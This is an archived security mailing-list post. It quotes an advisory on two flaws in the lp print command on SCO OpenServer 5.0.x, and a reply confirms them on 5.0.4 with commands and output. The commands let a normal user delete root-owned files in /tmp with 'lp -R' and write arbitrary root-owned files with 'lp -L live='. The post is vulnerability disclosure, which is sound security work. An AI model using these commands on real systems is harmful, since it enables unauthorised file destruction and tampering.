>-----BEGIN PGP SIGNED MESSAGE----- > >Hello! > >While casually looking for SETUID binaries in a newly installed >SCO 5.0.2 box, I have discovered that normal users with lp access >(the default) may cause headaches to the system administrador. > >Details: > >System: SCO 5.0.2 Enterprise (5.0.4 too?) > Plain Vanilla Intel Server > >OK. We are all clean. > >Exploit 1) > >Normal users can remove text files under /tmp. The lp command won't even >try to "print" (and remove afterwards) binary or executable programs. >There may be a way around this, but I haven't tried to find it. > >$ lp -R /tmp/text_file_to_be_removed > >The switch -R causes the removal of the file, after printing. > >This exploit won't work in dirs that don't have the sticky bit set. Okay, I've tested these both. My box is: SCO 5.0.4 Enterprise (also) Plain Vanilla Intel as root... echo "test" > /tmp/rootfile and the perms thereof are... drwxrwxrwt 2 sys sys 1024 Jun 18 20:26 tmp and -rw-rw-r-- 1 root sys 5 Jun 18 20:26 rootfile okay. now as a normal, unprivileged user, I run... lpr -d lp -R /tmp/rootfile ...and to my displeasure, but as expected, the root-owned tempfile is removed. (BTW, this normal user is NOT a member of the group, sys --of course). >Exploit 2) > >This is even better, but only works if your lp subsystem has a file named >/var/spool/lpd/lock. With this file in place, the lp command will enable >the "-L live" option. With this, you can write to *any* file in the system. >And even better, the file will be mode 600, owned by root... > >Just do: >$ lp -L live=/any_file_in_the_system >blablabla >^D > >And that's it. You can type anything you want/need. One more time! running "touch /var/spool/lpd/lock" yields: -rw-rw-r-- 1 root sys 0 Jun 18 20:41 /var/spool/lpd/lock ...now as the same normal user I run (with rootfile being an as of yet non-existing file) lp -L live=/tmp/rootfile Okay, then I enter whatever text I choose...and a ^D and bingo! now "ls -l /tmp/rootfile" yields: -rw------- 1 root lp 21 Jun 18 20:45 rootfile Of course, the same normal user which created the file can now not even read it. Okay, now to a previously existing /tmp/rootfile with perms -rw-rw-r-- 1 root sys 5 Jun 18 20:52 rootfile ...I append, as a normal user, using the same lp exploit, whatever text I choose. Now, ls -l /tmp/rootfile yields: -rw-rw-r-- 1 root sys 28 Jun 18 20:53 rootfile so, the perms didn't not become 600. But the new text has completely overwritten the original text. One thing to note is that file /var/spool/lpd/lock did not previously exist before root touched it into existence. >I'd like to know if these problems are still valid on 5.0.4. I couldn't >find any mention of this problem on the SCO site. Older versions of SCO >may exhibit this problem, since many of these have /usr/bin/lp setuid to >root. actually the perms on /usr/bin/lp are: ---x--x--x 1 bin lp 2472 Jun 18 20:10 /usr/bin/lp and of course, lpr is a symlink to /usr/bin/lp. Looks dangerous! ======================== Mike Wilkerson ========================== "You cannot go on 'seeing through' things forever. The whole point of seeing through something is to see something through it." C.S. Lewis, "The Abolition of Man" PGP Public Key: http://www.talleytech.com/~mwilkers/mypubkey.asc ==================== mwilkersat_private =====================
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:58:52 PDT